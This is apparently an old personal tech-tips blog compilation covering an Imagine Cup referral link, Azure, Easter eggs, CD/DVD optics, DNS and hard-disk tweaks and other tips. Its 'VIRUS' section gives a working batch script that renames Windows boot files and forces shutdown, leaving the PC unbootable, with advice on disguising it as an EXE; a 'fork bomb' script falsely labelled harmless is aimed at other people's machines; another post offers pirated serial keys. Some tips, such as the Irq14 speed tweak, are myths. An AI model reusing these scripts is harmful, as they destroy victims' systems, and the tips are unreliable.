Interview Experince at Microsoft
MICROSOFT IMAGINE CUP
The software giant Microsoft is conducting a student.technology competition called "Imagine Cup 2010". There are lots of challenges/types of competition in this contest , I assure you will enjoy the contest .The registration method for the competition is mentioned below:
COPY PASTE THE FOLLOWING LINK IN YOUR BROWSER
https://imaginecup.com/registration/default.aspx?EmailID=&ReferralCode=arkabhattacharya1990&DisplayName=&School &Country=India
DO NOT CHANGE THE REFFERRAL CODE
Plz cross –check the referral code it shud be “arkabhattacharya1990” (without quotes)
Edit all your personal information , without changing the referral code .
Free softwares and ORIGINAL WINDOWS 7 DVDs at hefty discount WILL BE PROVIDED
Prizes for this competition include :
The top 3 finalists will receive a trip to the Worldwide Finals in
Warsaw, Poland.
Trip includes round trip coach airfare from major airport closest to
winners home, standard hotel accommodations, and select meals.
In addition, the top 3 finalists will receive one of the following cash prizes:
* First Place: $8,000 USD
* Second Place: $4,000 USD
* Third Place: $3,000 USD
And many more prizes yet other than this.Hope to see you all with prizes.
ARKA BHATTACHARYA
(MICROSOFT STUDENT PARTNER)
(for any enquiry about studentpartners program contact me at arkabhattacharya@student-partners.com)
CAPTURING THE CLOUD
Azure Services
The Windows® Azure™ Platform is an internet-scale cloud computing and services platform hosted in Microsoft data centers. The Windows Azure Platform provides a range of functionality to build applications that span from consumer web to enterprise scenarios and includes a cloud operating system and a set of developer services. Fully interoperable through the support of industry standards and web protocols such as REST and SOAP, you can use the Azure services individually or together, either to build new applications or to extend existing ones.
Windows® Azure is a cloud services operating system that serves as the development, service hosting and service management environment for the Windows Azure Platform. Windows Azure provides developers with on-demand compute and storage to host, scale, and manage Web applications on the Internet through Microsoft® data centers.
Windows Azure is currently in Community Technology Preview. Commercial availability for Windows Azure will likely be at the end of calendar year 2009.
Windows Azure is an open platform that will support both Microsoft and non-Microsoft languages and environments. To build applications and services on Windows Azure, developers can use their existing Microsoft® Visual Studio® 2008 expertise. In addition, Windows Azure supports popular standards and protocols including SOAP, REST, XML, and PHP.
RECURSION IN GOOGLE
Google never fails to entertain us. This time when you search for Recursion on Google, it keeps on running spell check and displays Did you mean: recursion again and again.
Recursion is the term usually used in Computer Science and this word generally means – to have a activity again and again, forever because the activity itself consist of same activity. It is like two mirrors facing each other and displaying infinite trail of opposite images.
In recursion, the objects are repeated for infinite times. The iteration runs forever. Google displays this quality when you search for recursion.
Despite of clicking on recursion from spell checker – Did you mean, Google will keep on displaying it. Though the spelling is right, Google keeps on telling it again and again.
Try – http://www.google.com/search?hl=en&q=recursion
EASTER EGGS
What are Easter eggs ? You mite probably answer “ they are huge sugar laced eggs filled with chocolates or sweets that would be hidden by elders as a surprise during Easter time”
However in technical jargon ‘Easter eggs is something different .Wikipedia now defines it in this way “An Easter egg is an unintentional hidden message joke or a feature in a object movie ,book cd,dvd web page or a computer program”
Well c the last word of the above paragraph’ computer program’ .Yeah that inspired me to do a bit of research in Easter eggs hidden in computer programs .Most people think of computer engineers as serious geeks for whom Windows is even more important than well eh… wife(sorry bad joke).Nah all of them are not like that ..at least I am not like that..Well getting back to the point many coders have put great jokes up there sleeves into their programs ..its now for us to discover them..
The first easter egg I found was present in Windows 97 .if u type “Bill Clinton” and press Shift+F7 an UK Thesaurus dialogue box comes upon screen with a synonym “I would like to see her naked” .This was at the height of Monica Lewinsky scandal. To get this joke you must set your language setting in Word 97 to UK English.
Here is another one that works in almost every version of Word. Just type “=rand(5,10)” and press enter .You l get 10 paragraphs with 5 sentences each
Open word and type anything anything.Now select whatever you hav written and press control alt-+ and see the cursor change
There are a lot of easter eggs hidden in the web Browser Mozilla Firefox too .lets see some of them type in ‘about:mozilla’ and just see the magic
Or type in ‘about:robots’ and hold
or type 'about: : rights' n see for yourself
Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.
Here is a cool notepad secret type “Bush hid the facts “ in a notepad file and save it .then re-open it Whew!!where has the text gone
There are many other Easter eggs in other program .for example you can cheat and win in solitaire by pressing simultaneously Alt- Shift and 2 .
However one of the best is this one .navigate to www.yahoo.com. Make sure the speakers re on .Click on the dot under the exclamation mark of the mast head of Yahoo! .Enjoy
if you find any more such hidden tricks don forget to add in the comments sections
CD VS DVD
Have you ever wondered how does a combo drive play both cd and dvds .?
Why do combo drives often stop reading DVDs but are still able to read CDs?
First lets figure out the essential differnces between CD/ DVDs
DVDs can store more data than CDs for a few reasons:
- Higher-density data storage
- Less overhead, more area
- Multi-layer storage
Single-sided, single-layer DVDs can store about seven times more data than CDs. A large part of this increase comes from the pits and tracks being smaller on DVDs. Let's try to get an idea of how much more data can be stored due to the physically tighter spacing of pits on a DVD. The track pitch on a DVD is 2.16 times smaller, and the minimum pit length for a single-layer DVD is 2.08 times smaller than on a CD. By multiplying these two numbers, we find that there is room for about 4.5 times as many pits on a DVD. So where does the rest of the increase come from?
More Area
On a CD, there is a lot of extra information encoded on the disc to allow for error correction -- this information is really just a repetition of information that is already on the disc. The error correction scheme that a CD uses is quite old and inefficient compared to the method used on DVDs. The DVD format doesn't waste as much space on error correction, enabling it to store much more real information. Another way that DVDs achieve higher capacity is by encoding data onto a slightly larger area of the disc than is done on a CD.
Multiple-Layered Storage
To increase the storage capacity even more, a DVD can have up to four layers, two on each side. The laser that reads the disc can actually focus on the second layer through the first layer. Here is a list of the capacities of different forms of DVDs:
COMBO DRIVES
Every CD/DVD ROM has a lens which is used for reading Data.In case of combo Drive
The same read head lens is used to read both CD's and DVD's
There are two essential physical differences between CD and DVD disc.
First, the smallest DVD pits are only 0.44 micron in diameter; the equivalent CD pits are nearly twice as large, or 0.83 micron wide.
And DVD data tracks are only 0.74 micron apart, wherea 1.6 microns separate CD data tracks. So although a DVD is the same size as a CD,its data spiral is upward of 11 kilometers long-more than twice the length of a CD's data spiral.
To read the smaller pits, a DVD player's readout beam must achieve finer focus than a CD player's does. In order to do this, it uses a read semiconductor laser that has a wave length of 635 to 650 nanometer. In contrast, CD players use infrared laser with a longer wavelength of 780 nanometer. Also, DVD players employ a more powerful focusing lens-one having a higher numerical aperture than the lens in a CD player
In that case after a particular time if the lens weakens only CD's are read and not DVD's.
INCREASE BROADBAND SPEED
Speed up BSNL Broadband Internet Connection
To overcome slow BSNL DNS problem, we will use high speed DNS servers from OpenDNS. OpenDNS is third party DNS Server used to speed up BSNL Broadband internet connection
Steps to speed up BSNL Broadband Internet :
1. Open Control Panel -> Networking and Sharing Center -> Manage Network Connection.
2. Now a window showing all networks will be opened. Select BSNL Connection -> Right click -> Properties.
3. Now, double click on Internet Protocol Version(TCP/IPv4) and in newly opened window at bottom, select “Use the following DNS Server address”
4. And fill these 2 DNS Addresses in two fields:
208.67.222.222
208.67.220.220
and hit OK. Thats it. Your BSNL Internet Broadband DNS Servers changed.
Now, your BSNL internet broadband speed will be increased. Thus, you can now enjoy high speed BSNL Internet broadband. I hope you’ll like this BSNL Internet speed increasing hack/trick. If you have any problem or other high speed BSNL DNS Servers, please mention it in comments section
BING
Microsoft’s latest search engine BING was launched a few days back and its has already started creating ripples worldwide .BING is the much touted replacement to the now defunct Windows Live search. I experimented with it one whole day and the results were quite surprising and quite pleasing in many cases .For instance when I typed a part of my blogsite address and searched not only did it show the site and the post in that site but also the entries I had made on Facebook regarding those blogposts .Apart from that I had published an article in DIGG which I had long forgotten ,I got its link too from the search results .Another feature of its which i liked is the preview mode where by just moving the cursor over the web page address or link will give you a short preview of whta is in store there
Though it is too early to say that it a replacement for Google its definitely shows a lot of promise .SO friends what are u waiting for just BING!!!!!
1 MILLION SERIAL KEYS
Well here is a compilation of over 1 Million serial keys of the most commonly used softwares .All hav them are genuine ,however sum of them may be blacklisted that is ..if you update the software after installing it with those keys it will be freezed.However there no harm in trying
Here is the download link
HIDE FOLDERS IN WINDOWS
hide ur folders without the usage of folder lock :
suppose u want to hide a folder named "hello"which is in D: of ur computer
go to command prompt
start--->run--->cmd-->d:
after changing it from C: to D:
type D:/>attrib +h +s hello
the above command is to hide the folder
to show the folder
tyoe D:/>attrib -h -s abc
in this type of hidding the folder cannot be viewed even if we make advance search or even changing the folders menu to (show all hidden files)
INCREASE HARD DISK SPEED IN WINDOWS
If you like to increase/optimize your Hard Disk I/O - read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; however there are reports that this tweak also does good for SCSI disks.
In any case, it won't harm your system, so try it yourself and let me know what you find!
Steps:
1. Run SYSEDIT.EXE from the start & then Run command.
2. Expand the system.ini file window.
3. Scroll down almost to the end of the file untill you find a line called [386enh].
4. Press Enter to make one blank line, and in that line type
5. Irq14=4096 (note: This line IS CASE SENSITIVE)
6. Click on the File menu, then choose Save.
7. Close SYSEDIT and reboot your computer.
8. Restart windows!
The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.
MUSIC TRACK NOT SHOWING IN GOOGLE TALK STATUS
For those who were busy fighting the aliens while Google Talk added the cool feature to display your currently playing music track in the Google status, please be aware that you can simply do so just by changing the status to “Show current music track”.
Now, it so happened that I eagerly tried the feature when it was launched, but Gtalk did not show the status with Windows Media Player 10, 11 or Winamp on my PC.
On further research I discovered that Google Talk installs a plug-in in Windows Media Player which sends the current music track to Gtalk. Now if, for any reason, WMP detects some problem with a plug-in, it disables it. This was the problem in my case. So here is what I did to enable my Google Talk plug-in:
- Ensure that you have the latest Google Talk installed
- In Windows Media Player, press Alt+T to access the tools menu
- Press ‘Options’
- Click on the ‘Plug-ins’ tab
- On the left hand ‘Category’ pane, click on the ‘Background’ item
- On the right hand ‘Background’ pane, click on the Google Talk plugin to check and enable it
- Save changes and change the status in Google Talk to “Show current music track”
This worked for me, hope it helps you too!
Oh and by the way, Google’s fascination with collecting information in order to show us meaningful results found its way in GTalk too. Google has a service called Google Trends. If you wish, then Google can log what you listen too, and hence show meaningful trends such as the current most popular song etc. I have opted in :)
Happy chitter chatting!
Fork Bomb
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!
To make this open note pad and type:
@echo off
:START
start a.bat
GOTO START
The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
HARD DISK MONITORING SOFTWARE
Do you know how long your hard disk is going to last before u encounter a fatal Blue screen of death ?
Do you no what is the temperature of
The answer to all these question might be no but after you go through this post it will be replaced by a YES .I stumbled upon this amazing softwares last night n believe me it works whats more it’s a freebie .its called active hard disk monitor
Active@ Hard Disk Monitor is a disk utility that checks and monitors the status of your hard drives to help prevent data loss. The system is based on the Self-Monitoring Analysis and Reporting Technology (S.M.A.R.T.).
This software monitors hard disk parameters such as Temperature, Head Flying Height and Spin-Up Time and notifies a user when a critical condition occurs. Disk Monitor also displays hard disk information, current S.M.A.R.T. attributes and the overall status of the hard disk's health.
Advanced disk scan allows you to detect bad sectors on a disk surface. The software can be launched automatically at Windows startup and monitor the system in the background. An icon in the System Tray can display the temperature for selected HDDs.
- CPU: Pentium III 500MHz and higher or compatible
- RAM: 256 MB
- Disk space: 15 MB
DOWNLOAD LINK
http://www.ziddu.com/download/4860290/DiskMonitorFree.exe.html
NOTEPAD "world trade centre trick".. ::
Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.
VIRUS
ok here's what the virus does...
But, first
BE EXTREMELY CAREFUL.. I WOULD SERIOUSLY ADVICE YOU TO NOT TO RUN THIS ON YOUR PC ATLEAST
I TAKE NO RESPONSIBILITY OF HOW YOU USE THIS CODE. THIS IS ONLY FOR TRAINING. NOTHING ELSE
my virus uses batch processing to rename the xp booting file ntldr as ntls. and boot.ini as boot.int.. and displays a message for 4 seconds. and automatically shuts down your PC (forever )..
Open notepad. and paste the following code.. save it as
@echo off
attrib c:\autoexec.bat -s -h -r
ren c:\autoexec.bat aute.bit
attrib c:\ntldr -s -h -r
ren c:\ntldr ntls
attrib c:\boot.ini -s -h -r
ren c:\boot.ini bot.int
@echo off
shutdown -s -t 4 -c "Your Computer is Doomed!!!"
you can add many variations to it.. You can also use any BATCH to EXE converter to convert your file into executable one so t
PORTABLE SOFTWARES
Portable software is a class of software that is suitable for use on portable drives such as a USB (thumb) drive or ipod or Palm PDA with "drive mode", although any external hard drive can be used. [1] [2] The concept of carrying one's favored applications, utilities, and files on a portable drive for use on any computer is one which has evolved considerably in recent years.
Programs in this category (also known as portable applications) are typically 'lite' versions of their parent software, but there are many exceptions.
To be considered portable, for purpose of this list, a software program must:
- Not require any kind of formal installation onto a computer's permanent storage device to be executed, and can be stored on a removable storage device such as USB flash drive, enabling it to be used on multiple computers.
- Settings are stored with, and can be carried around with, the software (i.e., they are written to the USB drive). If the registry is used to store settings, the application's configuration isn't portable, and must be set up on every PC it is used on
- Leaves a zero (or near-zero) "footprint" on any PC it's run on after being used. i.e., All temporary files/registry settings should be removed once the program has exited, and files created by the user can be saved directly to the same removable media as the application is stored on.
Generally, smaller utility/toolkit software is inherently fairly portable; though larger applications are sometimes changed in order to allow a portable versions to be released (e.g., Opera USB).